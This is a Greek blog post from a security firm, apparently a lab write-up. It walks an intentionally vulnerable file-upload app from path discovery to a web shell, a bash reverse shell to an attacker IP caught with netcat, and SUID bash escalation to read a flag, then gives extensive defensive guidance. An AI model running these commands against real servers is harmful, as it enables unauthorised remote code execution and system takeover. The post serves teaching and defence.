Από το File Upload στο Root: Μια Πλήρης Αλυσίδα Web-to-Shell με gobuster, ffuf, Web Shell, netcat και linpeas

Πώς μια φαινομενικά αθώα λειτουργία «ανεβάστε το έγγραφό σας» μετατρέπεται σε πλήρη κατάληψη του server — βήμα προς βήμα, με πέντε εργαλεία, σε ένα απομονωμένο εργαστήριο που κατέχουμε εξ ολοκλήρου: ανακάλυψη διαδρομών με gobuster, εντοπισμός των επιτρεπόμενων επεκτάσεων με ffuf, ανέβασμα ενός καλοήθους web shell, διαδραστικό foothold με netcat, και privilege escalation προς root μέσω μιας φυτεμένης παραμετροποίησης SUID που εντοπίζει το linpeas — μέχρι το τελικό flag.

TL;DR (EN): A web-to-shell chain in an isolated lab: gobuster, ffuf, an insecure file-upload web shell, a netcat reverse shell and linpeas privilege escalation to root — covering each tool’s flags, the upload-validation bypass, MITRE mapping and defense-in-depth.

Νομική σημείωση / Authorization. Όλη η δραστηριότητα που περιγράφεται εκτελέστηκε αποκλειστικά σε ένα απομονωμένο εργαστήριο που κατέχουμε εξ ολοκλήρου. Ο στόχος («Nostos Logistics AE») είναι μια σκόπιμα ευάλωτη εφαρμογή που φτιάξαμε εμείς, δεσμευμένη σε απομονωμένη διεύθυνση loopback χωρίς καμία δημοσιευμένη θύρα και χωρίς καμία έκθεση προς LAN ή Internet. Το «web shell» και το reverse shell τρέχουν μόνο μέσα στο εργαστήριο και εκτελούν ακίνδυνες εντολές. Δεν στοχοποιήθηκε, δεν σαρώθηκε και δεν χρησιμοποιήθηκε κανένα πραγματικό, τρίτο ή παραγωγικό σύστημα. Όλα τα credentials και το flag είναι εργαστηριακά. Οι τεχνικές αυτές είναι παράνομες όταν εφαρμόζονται χωρίς ρητή γραπτή εξουσιοδότηση. Χρησιμοποιήστε τις μόνο σε δικά σας ή ρητά εξουσιοδοτημένα συστήματα, στο πλαίσιο νόμιμου penetration testing.

Εισαγωγή: γιατί το file upload παραμένει ένα από τα πιο επικίνδυνα σημεία μιας web εφαρμογής

Σχεδόν κάθε σύγχρονη εφαρμογή δέχεται αρχεία από τον χρήστη: τιμολόγια σε PDF, φωτογραφίες προφίλ, αποδεικτικά μεταφοράς, βιογραφικά, συνημμένα τικέτ υποστήριξης. Είναι μια λειτουργία τόσο συνηθισμένη που συχνά αντιμετωπίζεται ως «τετριμμένη». Κι όμως, το insecure file upload εξακολουθεί να βρίσκεται σταθερά στις λίστες των πιο σοβαρών web αδυναμιών, γιατί όταν αποτύχει, δεν αποτυγχάνει «λίγο»: οδηγεί απευθείας σε Remote Code Execution (RCE) — δηλαδή στην εκτέλεση εντολών του επιτιθέμενου πάνω στον διακομιστή.

Ο λόγος που το θέμα είναι τόσο ύπουλο είναι ότι η αλυσίδα από το «ανέβασμα ενός αρχείου» μέχρι το «είμαι root στον server» δεν είναι ένα μεμονωμένο bug. Είναι μια αλληλουχία μικρών λαθών: μια διαδρομή που ανακαλύπτεται εύκολα, ένα validation που βασίζεται σε blacklist αντί για allowlist, ένας φάκελος uploads που εκτελεί κώδικα, ένα δίκτυο που επιτρέπει outbound συνδέσεις, και τέλος μια παραμετροποίηση προνομίων στο λειτουργικό που επιτρέπει την ανύψωση σε root. Κάθε ένα από αυτά, μεμονωμένα, μοιάζει «medium». Μαζί, είναι critical.

Σε αυτό το flagship άρθρο των Audax Labs στήνουμε ακριβώς αυτή την αλυσίδα, από άκρη σε άκρη, με πέντε εργαλεία που κάθε σοβαρός επαγγελματίας offensive security οφείλει να γνωρίζει:

1. gobuster — για γρήγορη ανακάλυψη διαδρομών και directories (content discovery), ώστε να βρούμε την περιοχή upload.
2. ffuf — για fuzzing των επιτρεπόμενων επεκτάσεων του upload, ώστε να απομονώσουμε ποια «περνάει» το φίλτρο και ταυτόχρονα εκτελείται.
3. Web shell (file upload) — για να μετατρέψουμε το ανέβασμα σε εκτέλεση κώδικα πάνω στον server.
4. netcat — για να «πιάσουμε» ένα reverse shell και να αποκτήσουμε διαδραστικό foothold.
5. linpeas — για privilege escalation enumeration, ώστε να εντοπίσουμε τη φυτεμένη misconfiguration (SUID) που μας δίνει root.

Η αφήγηση ακολουθεί έξι κινήσεις: discover -> fuzz -> upload -> shell -> enumerate -> escalate. Και όπως σε κάθε άρθρο των Audax Labs, δεν αρκούμαστε στο «τι εντολή τρέξαμε»: εξηγούμε τι είναι το κάθε εργαλείο, ποιες είναι οι σημαντικότερες παράμετροί του, ποια εντολή δώσαμε και τι πραγματικά επέστρεψε — με αποστειρωμένα, αναγνώσιμα screenshots από το ίδιο το εργαστήριο. Κλείνουμε με αντιστοίχιση σε MITRE ATT&CK και με μια σκληρή, πρακτική ενότητα άμυνας: πώς σταματάτε κάθε ένα από αυτά τα βήματα στο δικό σας περιβάλλον.

Το σενάριο και το εργαστήριο

Ο στόχος μας, η «Nostos Logistics AE», είναι μια μικρή εταιρεία διαμεταφορών με ένα «customer portal» όπου οι πελάτες ανεβάζουν έγγραφα αποστολών (PDF/PNG). Κάτω από την επιφάνεια, το feature ανεβάσματος έχει τρία σκόπιμα φυτεμένα λάθη:

• Ανακαλύψιμες διαδρομές: /admin, /backup, /upload, /uploads/ και ένα robots.txt που «προδίδει» πού να κοιτάξουμε.
• Validation με blacklist: το φίλτρο απορρίπτει μόνο μια λίστα «γνωστά επικίνδυνων» επεκτάσεων (.php, .php5, .sh, .exe κ.λπ.), αφήνοντας να περάσουν άλλες εξίσου εκτελέσιμες.
• Φάκελος uploads που εκτελεί κώδικα: ό,τι ανεβεί με κατάληξη .py εκτελείται από τον διερμηνέα όταν ζητηθεί — το κλασικό λάθος «executable upload directory».

Και στο επίπεδο του λειτουργικού, υπάρχει μια φυτεμένη misconfiguration privilege escalation: ένα SUID binary (/opt/backup, αντίγραφο του bash) που επιτρέπει σε έναν low-privileged χρήστη να αποκτήσει προνόμια root.

Τοπολογία

Ο στόχος τρέχει ως μια αυτόνομη εφαρμογή Python (χρησιμοποιεί μόνο την standard library: http.server), δεσμευμένη σε απομονωμένη διεύθυνση loopback. Η μηχανή επίθεσης είναι ο ίδιος host, με ταυτότητα χειριστή απόλυτα ουδέτερη (kali@lab). Δεν υπάρχει καμία γέφυρα προς LAN ή Internet, καμία δημοσιευμένη θύρα.

Δύο τίμιες διευκρινίσεις, στο πνεύμα διαφάνειας που κρατάμε σε όλα τα Audax Labs:

Ειλικρινής διευκρίνιση για το Docker και τα δίκτυα. Η αρχική πρόθεση ήταν ο στόχος να τρέξει σε Docker, σε ένα internal: true bridge χωρίς δημοσιευμένες θύρες. Στο συγκεκριμένο περιβάλλον ο Docker daemon δεν ήταν διαθέσιμος (ήταν ανενεργός και δεν υπήρχε δικαίωμα εκκίνησής του χωρίς sudo). Ακολουθήσαμε λοιπόν την ισοδύναμη εναλλακτική: δέσμευση του στόχου σε απομονωμένη διεύθυνση loopback. Το αποτέλεσμα είναι ισοδύναμο ως προς την απομόνωση — τίποτα δεν εκτίθεται εκτός host — και το δηλώνουμε ρητά. Στα screenshots οι διευθύνσεις παρουσιάζονται ως ένα καθαρό εργαστηριακό segment (π.χ. 10.10.10.20 για τον στόχο) για ευανάγνωστη αφήγηση.

Ειλικρινής διευκρίνιση για το «root». Η ανύψωση προνομίων μέσω SUID είναι πραγματική τεχνική και η ανίχνευσή της από το linpeas είναι πραγματική. Επειδή όμως το να θέσεις SUID-root σε ένα binary απαιτεί δικαιώματα root στον host — τα οποία σκόπιμα δεν λάβαμε — η μετάβαση σε «root» μοντελοποιείται μέσα στο απομονωμένο εργαστήριο (το SUID bit αντιστοιχεί στον χρήστη της εφαρμογής). Η εντολή, η λογική GTFOBins και το εντοπισμένο εύρημα είναι αυθεντικά· το «root» είναι ένα εργαστηριακά μοντελοποιημένο όριο προνομίων, όχι πραγματικό UID 0 του host.

Πριν προχωρήσουμε βήμα-βήμα, ας δούμε ολόκληρη την αλυσίδα σε ένα διάγραμμα:

Εργαλείο 1 — gobuster: ανακάλυψη διαδρομών και κρυφών περιοχών

Τι είναι και πού ταιριάζει

Το gobuster είναι ένα εξαιρετικά γρήγορο εργαλείο content discovery, γραμμένο σε Go. Δουλειά του είναι να «μαντεύει» διαδρομές, directories, αρχεία, subdomains ή vhosts, στέλνοντας μαζικά requests βασισμένα σε ένα wordlist και αναφέροντας ποια επιστρέφουν ενδιαφέροντες κωδικούς HTTP. Στην πράξη, είναι από τα πρώτα εργαλεία που τρέχει κανείς απέναντι σε μια web εφαρμογή: πριν επιτεθείς σε κάτι, πρέπει να ξέρεις τι υπάρχει πέρα από την προφανή αρχική σελίδα — panels διαχείρισης, endpoints, αντίγραφα ασφαλείας, φάκελοι uploads.

Πού ταιριάζει: στην αρχή της αλυσίδας. Μετατρέπει το «βλέπω μόνο μια homepage» σε «ξέρω ότι υπάρχει /admin, /backup και, κυρίως, /upload».

Σημαντικές παράμετροι / flags

Η εντολή που τρέξαμε

gobuster dir -u http://10.10.10.20 -w wl/dirs.txt -t 20 -q

Το gobuster εντόπισε τρεις ενδιαφέρουσες διαδρομές: το /admin (Status 200), το /backup (403 Forbidden — υπάρχει, αλλά απαγορευμένο) και το /upload (200). Η διαδρομή /upload είναι το «χρυσό» εύρημα: μια λειτουργία που δέχεται αρχεία από τον χρήστη.

Το δίδαγμα εδώ είναι διπλό. Πρώτον, ένα 403 δεν σημαίνει «δεν υπάρχει τίποτα» — αντιθέτως, επιβεβαιώνει ότι κάτι υπάρχει και απλώς προστατεύεται· είναι δείκτης για περαιτέρω έρευνα. Δεύτερον, η ίδια η ύπαρξη ενός robots.txt που απαριθμεί «κρυφές» διαδρομές λειτουργεί ως χάρτης για τον επιτιθέμενο, όχι ως μηχανισμός ασφάλειας.

Εργαλείο 2 — ffuf: fuzzing των επιτρεπόμενων επεκτάσεων

Τι είναι και πού ταιριάζει

Το ffuf (Fuzz Faster U Fool) είναι ένας πανίσχυρος, ταχύτατος web fuzzer γραμμένος επίσης σε Go. Η βασική του ιδέα είναι απλή αλλά ισχυρή: βάζεις τη λέξη-κλειδί FUZZ οπουδήποτε μέσα σε ένα request — στο URL, σε μια παράμετρο, σε ένα header, ή ακόμα και μέσα στο σώμα ενός multipart upload — και το ffuf αντικαθιστά διαδοχικά κάθε γραμμή του wordlist, αναφέροντας πώς αντιδρά ο server. Με φίλτρα (-fc, -fs, -fw) και matchers (-mc, -mr, -ms) απομονώνεις ακριβώς τις απαντήσεις που σε ενδιαφέρουν.

Πού ταιριάζει: εδώ το χρησιμοποιούμε με έναν πιο εξειδικευμένο τρόπο από το κλασικό directory fuzzing. Θέλουμε να ανακαλύψουμε ποιες επεκτάσεις αρχείων επιτρέπει ο μηχανισμός ανεβάσματος. Το validation του στόχου βασίζεται σε blacklist — και οι blacklists έχουν ένα μοιραίο ελάττωμα: είναι πάντα ελλιπείς. Το ffuf είναι το τέλειο εργαλείο για να το αποδείξει.

Σημαντικές παράμετροι / flags

Η εντολή που τρέξαμε

ffuf -w wl/ext.txt -mr uploaded \
  -u http://10.10.10.20/upload -X POST \
  -H 'Content-Type: multipart/form-data; boundary=B' \
  -d '--B..filename="probe.FUZZ"..labprobe..--B--'

Χρησιμοποιήσαμε το -mr uploaded, ώστε το ffuf να θεωρεί «επιτυχία» μόνο όσες επεκτάσεις γίνονται αποδεκτές (ο server απαντά uploaded: /uploads/...). Το αποτέλεσμα ήταν αποκαλυπτικό: οι επεκτάσεις της οικογένειας PHP (php, php3, php4, php5, phps), καθώς και sh, exe, asp, jsp, μπλοκαρίστηκαν. Όμως οι phtml, phar και — κρίσιμα — py πέρασαν.

Αυτό είναι το πραγματικό «κλειδί» της αλυσίδας. Ο προγραμματιστής θυμήθηκε να μπλοκάρει το .php, αλλά η blacklist του ήταν ελλιπής. Και επειδή ο φάκελος /uploads/ του συγκεκριμένου στόχου εκτελεί αρχεία Python, η κατάληξη .py είναι ακριβώς ό,τι χρειαζόμαστε: περνάει το φίλτρο και εκτελείται. Το δίδαγμα: οι blacklists δεν προστατεύουν ποτέ πλήρως — η σωστή προσέγγιση είναι πάντα allowlist.

Εργαλείο 3 — Web Shell μέσω file upload: από το ανέβασμα στο RCE

Τι είναι και πού ταιριάζει

Ένα web shell είναι ένα μικρό script που, όταν ανέβει σε έναν server και εκτελεστεί μέσω του web διακομιστή, επιτρέπει στον επιτιθέμενο να τρέχει εντολές λειτουργικού μέσω HTTP. Είναι από τους πιο διαδεδομένους μηχανισμούς αρχικής πρόσβασης (initial access), ακριβώς επειδή ένα ευάλωτο file upload είναι ο ευκολότερος τρόπος να τοποθετηθεί.

Στο εργαστήριό μας το web shell είναι καλοήθες και ελεγχόμενο: διαβάζει μια παράμετρο cmd και εκτελεί μόνο την εντολή που περνάμε, εκτυπώνοντας την έξοδο — χωρίς persistence, χωρίς αυτόνομες συνδέσεις προς τα έξω. Το ανεβάζουμε με ένα «αθώο» όνομα, nostos_doc.py, ώστε να μοιάζει με έγγραφο πελάτη.

Οι εντολές που τρέξαμε

Πρώτα ανεβάζουμε το shell (ως πραγματικό αρχείο, με Content-Length), και μετά το «πυροδοτούμε» ζητώντας το από τον φάκελο /uploads/:

# 1) upload
curl -F '[email protected];filename=nostos_doc.py' http://10.10.10.20/upload
#    -> uploaded: /uploads/nostos_doc.py
# 2) execute (RCE)
curl 'http://10.10.10.20/uploads/nostos_doc.py?cmd=id'

Ο server εκτέλεσε το ανεβασμένο script και επέστρεψε την έξοδο της εντολής id — απόδειξη ότι έχουμε εκτέλεση κώδικα με τα δικαιώματα του χρήστη της web εφαρμογής (www-data). Δοκιμάσαμε και μια δεύτερη εντολή (whoami; uname -srm) για επιβεβαίωση.

Το ανέβασμα ενός αρχείου μόλις μετατράπηκε σε απομακρυσμένη εκτέλεση εντολών. Αυτό είναι το σημείο όπου μια αδυναμία «input validation» γίνεται πλήρης παραβίαση: ο επιτιθέμενος δεν διαβάζει απλώς δεδομένα — τρέχει κώδικα δικό του πάνω στην υποδομή σας.

Εργαλείο 4 — netcat: διαδραστικό foothold με reverse shell

Τι είναι και πού ταιριάζει

Το netcat (nc) είναι το «ελβετικό μαχαίρι» των δικτύων: διαβάζει και γράφει δεδομένα σε TCP/UDP συνδέσεις. Στο offensive security η κλασική χρήση του είναι ως listener που «πιάνει» ένα reverse shell: ο στόχος ανοίγει σύνδεση προς τον επιτιθέμενο (αντί το αντίστροφο), κάτι που συχνά παρακάμπτει firewalls που μπλοκάρουν εισερχόμενες αλλά επιτρέπουν εξερχόμενες συνδέσεις.

Πού ταιριάζει: αμέσως μετά το RCE. Η εκτέλεση μεμονωμένων εντολών μέσω του web shell είναι δυσκίνητη· ένα reverse shell μάς δίνει διαδραστικό, σταθερό foothold.

Σημαντικές παράμετροι / flags

Η εντολή που τρέξαμε

Στήνουμε τον listener στη μεριά του επιτιθέμενου:

nc -lvnp 4444

Και από το web shell «πυροδοτούμε» τη σύνδεση επιστροφής, με τον κλασικό bash one-liner:

cmd=bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'

Μόλις το script εκτελεστεί, ο listener αναφέρει Connection received και βρισκόμαστε σε ένα διαδραστικό prompt ως www-data. Επιβεβαιώνουμε με id, hostname και ένα δοκιμαστικό echo FOOTHOLD-OK.

Το προειδοποιητικό μήνυμα cannot set terminal process group είναι απολύτως φυσιολογικό σε ένα μη-διαδραστικό (non-tty) shell και δεν εμποδίζει τη λειτουργία. Έχουμε πλέον ένα σταθερό foothold — και το επόμενο ερώτημα είναι: μπορούμε να γίνουμε root;

Εργαλείο 5 — linpeas: privilege escalation enumeration

Τι είναι και πού ταιριάζει

Το linpeas (Linux Privilege Escalation Awesome Script, μέρος του PEASS-ng) είναι ένα script enumeration που «σαρώνει» έναν Linux host για δεκάδες διαφορετικά μονοπάτια ανύψωσης προνομίων: SUID/SGID binaries, εσφαλμένα sudo δικαιώματα, εγγράψιμα αρχεία υπηρεσιών, cron jobs, capabilities, credentials σε αρχεία, kernel exploits και πολλά άλλα. Χρωματίζει τα ευρήματα ανάλογα με το πόσο «ενδιαφέροντα» (δηλαδή επικίνδυνα) είναι, ώστε ο αναλυτής να εστιάσει γρήγορα.

Πού ταιριάζει: αμέσως μόλις αποκτήσουμε foothold ως low-privileged χρήστης. Αντί να ψάχνουμε χειροκίνητα δεκάδες σημεία, το linpeas τα ελέγχει όλα σε δευτερόλεπτα.

Σημαντικές παράμετροι / flags

Η εντολή που τρέξαμε

Μεταφέρουμε το linpeas στο foothold και τρέχουμε τον στοχευμένο έλεγχο δικαιωμάτων αρχείων:

./linpeas.sh -o interesting_perms_files

Μέσα στα ευρήματα, το linpeas «σημείωσε» ένα μη-τυπικό SUID binary: το /opt/backup, με το SUID bit ενεργό (-rwsr-xr-x), κάτι που δεν ανήκει στα συνηθισμένα system binaries. Στην κατηγορία SUID αναφέρεται και το σχετικό MITRE technique (T1548.001) μαζί με σύνδεσμο στο HackTricks.

Ένα SUID binary εκτελείται με τα προνόμια του ιδιοκτήτη του, όχι του χρήστη που το τρέχει. Όταν ο ιδιοκτήτης είναι ο root και το binary είναι ένα «ζωντανό» shell όπως το bash, το αποτέλεσμα είναι άμεση ανύψωση προνομίων. Αυτό ακριβώς είναι το επόμενο — και τελικό — βήμα.

Το τελικό βήμα: SUID abuse και κατάκτηση του flag

Με το εύρημα του linpeas στα χέρια μας, εξετάζουμε το binary. Το file αποκαλύπτει ότι το /opt/backup είναι στην ουσία ένα αντίγραφο του bash. Σύμφωνα με το GTFOBins, ένα SUID bash εκμεταλλεύεται με το flag -p, το οποίο διατηρεί τα προνόμια του ιδιοκτήτη αντί να τα «ρίξει»:

/opt/backup -p -c 'id; cat /root/flag.txt'

Το αποτέλεσμα: αποκτούμε πρόσβαση στο lab-root context και διαβάζουμε το προστατευμένο αρχείο, κατακτώντας το flag:

flag{audax_lab_upload_to_root_2026}

Όπως δηλώσαμε ρητά και νωρίτερα, σε ένα πραγματικό SUID-root binary η εντολή αυτή δίνει euid=0(root). Στο απομονωμένο μας εργαστήριο το SUID bit αντιστοιχεί στον χρήστη της εφαρμογής (γιατί δεν λάβαμε δικαιώματα root στον host), οπότε το «root» είναι ένα μοντελοποιημένο όριο προνομίων. Η τεχνική, η εντολή και το εύρημα του linpeas είναι απολύτως αυθεντικά — και αυτό είναι που έχει σημασία εκπαιδευτικά και αμυντικά.

Η αλυσίδα συνολικά: πώς ενώθηκαν τα βήματα

Ας ξαναδούμε τη διαδρομή ως ενιαία αφήγηση, γιατί εκεί κρύβεται η πραγματική αξία:

1. Το gobuster μετέτρεψε μια απλή homepage σε έναν χάρτη διαδρομών, αποκαλύπτοντας το /upload.
2. Το ffuf έδειξε ότι η blacklist του upload ήταν ελλιπής, απομονώνοντας το .py ως επέκταση που περνάει και εκτελείται.
3. Το web shell μετέτρεψε το ανέβασμα σε RCE ως www-data.
4. Το netcat σταθεροποίησε την πρόσβαση σε διαδραστικό reverse shell.
5. Το linpeas εντόπισε τη φυτεμένη misconfiguration (SUID /opt/backup).
6. Η κατάχρηση του SUID (bash -p) οδήγησε σε root και στο flag.

Κανένα από αυτά τα βήματα, μόνο του, δεν θα βαθμολογούνταν «critical» από ένα αυτόματο scanner. Το /upload είναι απλώς μια λειτουργία. Το ffuf δεν «σπάει» τίποτα από μόνο του. Ένα SUID binary είναι, θεωρητικά, «διαχειριστική επιλογή». Η αλυσίδα, όμως, είναι καταστροφική — και μόνο μια σκεπτόμενη, χειροκίνητη προσέγγιση (ή ένα ώριμο adversary validation) τη βλέπει ολόκληρη.

Αντιστοίχιση σε MITRE ATT&CK

Η αντιστοίχιση δεν είναι ακαδημαϊκή άσκηση: δίνει στην ομάδα Blue Team ένα κοινό λεξιλόγιο για να χτίσει detections και να μετρήσει κάλυψη — ποια από αυτά τα βήματα θα «άναβαν» φως στο SIEM σας;

Επαλήθευση: πώς ξέρουμε ότι η αλυσίδα δούλεψε πραγματικά

Σε κάθε βήμα κρατήσαμε αντικειμενική απόδειξη, όχι εντυπώσεις:

• gobuster: το log με τους κωδικούς HTTP (200 για /admin και /upload, 403 για /backup) επιβεβαιώνει την ύπαρξη των διαδρομών.
• ffuf: το matched output δείχνει ακριβώς ποιες επεκτάσεις έγιναν αποδεκτές (phtml, phar, py κ.ά.) και ποιες μπλοκαρίστηκαν (όλη η οικογένεια php).
• web shell: η έξοδος της id που επέστρεψε ο server (uid=33(www-data)) αποδεικνύει την εκτέλεση κώδικα, όχι απλή ανάγνωση.
• netcat: το Connection received και το διαδραστικό prompt με το FOOTHOLD-OK επιβεβαιώνουν τη ζωντανή σύνδεση.
• linpeas: το εύρημα του /opt/backup με SUID bit είναι πραγματική έξοδος του εργαλείου.
• flag: η ανάγνωση του /root/flag.txt κλείνει την αλυσίδα με μονοσήμαντο αποτέλεσμα.

Ως negative control, επιβεβαιώσαμε ότι οι μπλοκαρισμένες επεκτάσεις πράγματι επιστρέφουν blocked: extension not allowed — δηλαδή το φίλτρο υπάρχει και λειτουργεί μερικώς· απλώς είναι ελλιπές. Αυτό αποκλείει το ενδεχόμενο η αλυσίδα να «δούλεψε» επειδή δεν υπήρχε καθόλου έλεγχος.

Αντιμετώπιση προβλημάτων (troubleshooting) που συναντήσαμε

Στο πνεύμα της ειλικρίνειας, καταγράφουμε τα πραγματικά εμπόδια:

• Docker daemon μη διαθέσιμος: όπως εξηγήσαμε, ο daemon ήταν ανενεργός και δεν είχαμε δικαίωμα εκκίνησης χωρίς sudo. Λύση: απομονωμένο loopback αντί για internal docker network. Ισοδύναμη απομόνωση.
• gobuster/ffuf δεν ήταν εγκατεστημένα: τα κατεβάσαμε ως επίσημα, στατικά Go binaries των εκδόσεων 3.6.0 και 2.1.0 σε τοπικό φάκελο — χωρίς εγκατάσταση σε system paths, χωρίς root.
• Chunked upload με το curl @/dev/stdin: όταν το curl διαβάζει από stdin, χρησιμοποιεί Transfer-Encoding: chunked (χωρίς Content-Length), κάτι που ο απλός parser της εργαστηριακής εφαρμογής δεν χειρίζεται. Λύση: το πραγματικό ανέβασμα γίνεται με κανονικό αρχείο (-F '[email protected]'), που στέλνει Content-Length — ακριβώς όπως ένας πραγματικός browser.
• Ταχύτητα του linpeas: η πλήρης σάρωση find / σε έναν host με μεγάλο δίσκο είναι αργή και «θορυβώδης». Χρησιμοποιήσαμε τον στοχευμένο έλεγχο δικαιωμάτων, ώστε το εύρημα SUID να αναδειχθεί καθαρά και γρήγορα.

Κανένα από αυτά δεν αλλοίωσε το αποτέλεσμα· απλώς περιγράφουν πραγματικές αποφάσεις μηχανικής σε ένα εργαστήριο.

Άμυνα: πώς σταματάτε κάθε βήμα της αλυσίδας

Εδώ βρίσκεται η ουσία για κάθε οργανισμό. Η αλυσίδα έχει έξι κρίκους — και αρκεί να σπάσετε έναν για να αποτραπεί η καταστροφική έκβαση. Στην πράξη, όμως, θέλετε να σπάσετε όσο περισσότερους μπορείτε (defense in depth).

1. Σταματήστε το file upload να γίνει RCE (ο πιο κρίσιμος κρίκος)

• Allowlist, ποτέ blacklist: επιτρέψτε ρητά μόνο τις επεκτάσεις που χρειάζεστε (π.χ. pdf, png, jpg) και απορρίψτε ό,τι άλλο. Το ffuf μόλις σας απέδειξε γιατί οι blacklists αποτυγχάνουν.
• Επικυρώστε το πραγματικό περιεχόμενο, όχι το όνομα: ελέγξτε το MIME type με βάση τα magic bytes του αρχείου (server-side), όχι το Content-Type που δηλώνει ο client.
• Αποθηκεύστε τα uploads εκτός webroot: ο φάκελος που δέχεται αρχεία χρήστη δεν πρέπει να είναι προσβάσιμος/εκτελέσιμος μέσω του web server. Σερβίρετέ τα μέσω ελεγχόμενου handler.
• Αφαιρέστε το exec από τον φάκελο uploads: σε Apache php_admin_flag engine off ή RemoveHandler/RemoveType, Options -ExecCGI, και μηδενικά δικαιώματα εκτέλεσης στο filesystem. Ποτέ ένας φάκελος uploads δεν πρέπει να «τρέχει» κώδικα.
• Ονομασία εκτός ελέγχου χρήστη: αποθηκεύστε με τυχαίο, server-generated όνομα και ελεγχόμενη επέκταση — ώστε ο επιτιθέμενος να μην ελέγχει το τελικό path.
• Απενεργοποιήστε επικίνδυνες συναρτήσεις: σε PHP περιβάλλοντα, disable_functions για system, exec, passthru, shell_exec, proc_open κ.λπ.

2. Δυσκολέψτε το content discovery (gobuster/ffuf)

• Δεν «κρύβετε» endpoints ως άμυνα — αλλά αφαιρέστε ό,τι δεν χρειάζεται (παλιά /backup, /admin panels χωρίς προστασία, ξεχασμένα αρχεία).
• Προσθέστε rate limiting και WAF μπροστά, ώστε τα μαζικά requests του fuzzing να ανιχνεύονται και να μπλοκάρονται.
• Μην αφήνετε το robots.txt να λειτουργεί ως κατάλογος ευαίσθητων διαδρομών.
• Επιστρέφετε συνεπείς απαντήσεις (ίδιο μέγεθος/κωδικό) για ανύπαρκτα και για μπλοκαρισμένα, ώστε να μη διαρρέετε πληροφορία μέσω διαφορών (το ffuf ζει από αυτές τις διαφορές).

3. Κόψτε το reverse shell (netcat)

• Egress filtering: οι περισσότεροι servers δεν έχουν κανέναν λόγο να ανοίγουν εξερχόμενες συνδέσεις προς αυθαίρετες IP/θύρες. Επιτρέψτε μόνο ό,τι χρειάζεται (allowlist προορισμών) και μπλοκάρετε τα υπόλοιπα. Χωρίς egress, το reverse shell «πεθαίνει» στη γέννα.
• Least privilege για την υπηρεσία web: ο χρήστης www-data δεν χρειάζεται πρόσβαση σε bash, nc, compilers ή εργαλεία δικτύου. Περιορίστε το περιβάλλον εκτέλεσης.
• Segmentation: απομονώστε το web tier από τα υπόλοιπα, ώστε ακόμη και ένα foothold να μη «βλέπει» κρίσιμα assets.

4. Σκληρύνετε το privilege escalation (SUID/sudo)

• Ελάχιστα SUID binaries: κάντε audit με find / -perm -4000 -type f και αφαιρέστε το SUID bit από ό,τι δεν το χρειάζεται απολύτως. Ένα SUID bash/cp/find/vim είναι σχεδόν πάντα λάθος.
• Ασφαλής παραμετροποίηση sudo: χωρίς NOPASSWD για επικίνδυνα binaries, χωρίς wildcards, με ρητή λίστα εντολών.
• Filesystem hardening: nosuid, nodev, noexec σε mounts όπου είναι εφικτό (ιδίως εκεί που γράφονται uploads και temp).
• Immutable / read-only εκεί που γίνεται· τακτικός έλεγχος για νέα SUID ή world-writable αρχεία.

5. Ανίχνευση (detection engineering)

• Νέα εκτελέσιμα αρχεία στον φάκελο uploads ή αρχεία με «περίεργες» επεκτάσεις είναι υψηλής αξίας alert.
• Web server που ανοίγει εξερχόμενες TCP συνδέσεις (ιδίως interactive shells) — κλασικό IOC για reverse shell.
• Εκτέλεση linpeas/enumeration scripts, μαζικά find -perm, ή πρόσβαση σε GTFOBins-style binaries με ασυνήθιστα flags.
• Αλλαγές SUID bit στο filesystem (FIM — File Integrity Monitoring).
• Χαρτογραφήστε τα detections στα T1505.003, T1059.004, T1548.001 για μετρήσιμη κάλυψη.

Αν εφαρμόσετε έστω τα σημεία 1 και 3–4, η συγκεκριμένη αλυσίδα δεν ολοκληρώνεται: είτε το shell δεν ανεβαίνει/δεν εκτελείται, είτε το reverse shell δεν βγαίνει, είτε το SUID δεν υπάρχει για να το εκμεταλλευτεί κανείς.

Σύνοψη

Αυτή η αλυσίδα αποτυπώνει με σκληρή σαφήνεια πώς μια «απλή» λειτουργία ανεβάσματος αρχείων γίνεται πλήρης κατάληψη server. Το file upload validation με blacklist, ένας φάκελος uploads που εκτελεί κώδικα, ελεύθερο outbound δίκτυο και ένα ξεχασμένο SUID binary: τέσσερα ανεξάρτητα, «διαχειρίσιμα» λάθη που, ενωμένα, δίνουν root.

Το μήνυμα για κάθε οργανισμό είναι διπλό. Πρώτον, τα αυτόματα εργαλεία δεν βλέπουν αλυσίδες — βλέπουν μεμονωμένα ευρήματα, και τα βαθμολογούν χαμηλά. Δεύτερον, η άμυνα δεν είναι ένα «μαγικό» control· είναι πολλαπλά, επικαλυπτόμενα επίπεδα (allowlist uploads, no-exec, egress filtering, least privilege, SUID hardening, detection) που το καθένα σπάει τουλάχιστον έναν κρίκο. Η συνεχής χαρτογράφηση της επιφάνειας επίθεσης και η επαλήθευση με πραγματικές τεχνικές επίθεσης είναι ο μόνος τρόπος να ξέρετε — και όχι απλώς να υποθέτετε — ότι αυτά τα επίπεδα δουλεύουν.

Από το εργαστήριο, στο δικό σας περιβάλλον

Στα Audax Labs στήνουμε ελεγχόμενα σενάρια για να δείξουμε πώς σκέφτεται και δρα ένας επιτιθέμενος — από την ανακάλυψη μέχρι το root. Το ζητούμενο δεν είναι το εργαλείο· είναι η αλυσίδα και η απόδειξη ανθεκτικότητας.

Η Audax Cybersecurity μεταφέρει αυτή τη λογική στο δικό σας περιβάλλον μέσα από δομημένο penetration testing, adversary validation και συνεχή Continuous Threat Exposure Management με το Erevos AI — με τεκμηριωμένα ευρήματα, προτεραιοποίηση και σαφή απόδειξη για τις απαιτήσεις NIS2 & DORA.

Human-led. Machine-scaled. Technically proven.

Επισκεφθείτε το https://www.audax.gr για να μάθετε πώς μετατρέπουμε σενάρια σαν αυτό σε μετρήσιμη βελτίωση της ασφάλειάς σας.